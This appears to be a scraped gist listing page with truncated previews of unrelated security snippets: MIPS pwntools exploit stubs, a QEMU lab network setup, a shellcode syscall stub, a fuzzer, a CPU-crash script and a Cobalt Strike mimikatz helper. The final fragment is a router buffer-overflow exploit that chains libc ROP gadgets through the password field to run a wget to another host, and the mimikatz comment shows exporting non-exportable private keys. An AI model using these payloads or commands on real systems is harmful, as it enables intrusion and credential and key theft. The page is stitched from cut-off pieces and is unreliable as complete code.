This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch='mips', os='linux', log_level='debug') | |
file_name = './exp' | |
debug = 0 | |
if debug: | |
r = remote() | |
else: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch= 'mips' , os= 'linux' , log_level= 'debug' ) | |
file_name = './exp' | |
debug = 0 | |
if debug: | |
r = remote() | |
else : |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#set network | |
sudo brctl addbr virbr0 | |
sudo ifconfig virbr0 192.168.5.1/24 up | |
sudo tunctl -t tap0 | |
sudo ifconfig tap0 192.168.5.11/24 up | |
sudo brctl addif virbr0 tap0 | |
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Runtime.InteropServices; | |
namespace SyscallStub | |
{ | |
// Define the syscall stub as a byte array | |
static readonly byte[] syscallStub = new byte[] { | |
0x48, 0x31, 0xc0, // xor rax, rax | |
0x48, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x00, // mov rbx, user-defined syscall ID | |
0x0f, 0x05 // syscall |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
import pickle | |
import os.path | |
from googleapiclient.discovery import build | |
from google_auth_oauthlib.flow import InstalledAppFlow | |
from google.auth.transport.requests import Request | |
from apiclient import errors | |
import re | |
from bs4 import BeautifulSoup as Soup |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
How to use: | |
Run this script out of /tmp in a seperate cmd (CMD-A) | |
leave this running CRTL+C if you want to kill it of `ps aux` find the PID the `kill -9 [PID]` | |
Step1: chmod +x peuse_cpu_crash.py | |
Step2: python3 peuse_cpu_crash.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Hello World" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from boofuzz import * | |
IP = "192.168.0.5" | |
PORT = 80 | |
def check_response(target, fuzz_data_logger, session, *args, **kwargs): | |
fuzz_data_logger.log_info("Checking test case response...") | |
try: | |
response = target.recv(512) | |
except: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# multi-command mimikatz in a Cobalt Strike beacon extending the built-in mimikatz functionality | |
# | |
# cmd separator is | | |
# | |
# practical example: export machine certificates (including non-exportable private key :)): | |
# | |
# mmimikatz "crypto::capi|crypto::certificates /systemstore:local_machine /store:my /export" | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
url = "http://%s:80/goform/exeCommand"%(host) | |
libc=0x409a7000 | |
godget1=0x00018298 #pop r3 pc | |
godget1 = struct.pack("< I",godget1+libc) | |
system=0x0005A270 | |
system = struct.pack("< I", system+libc) | |
command="wget 192.168.174.136" | |
godget2 = 0x00040cb8 # mov r0 sp; blx r3 | |
godget2 = struct.pack("< I", godget2 + libc) | |
password = "A" * 444+".gif"+godget1+system+godget2+command |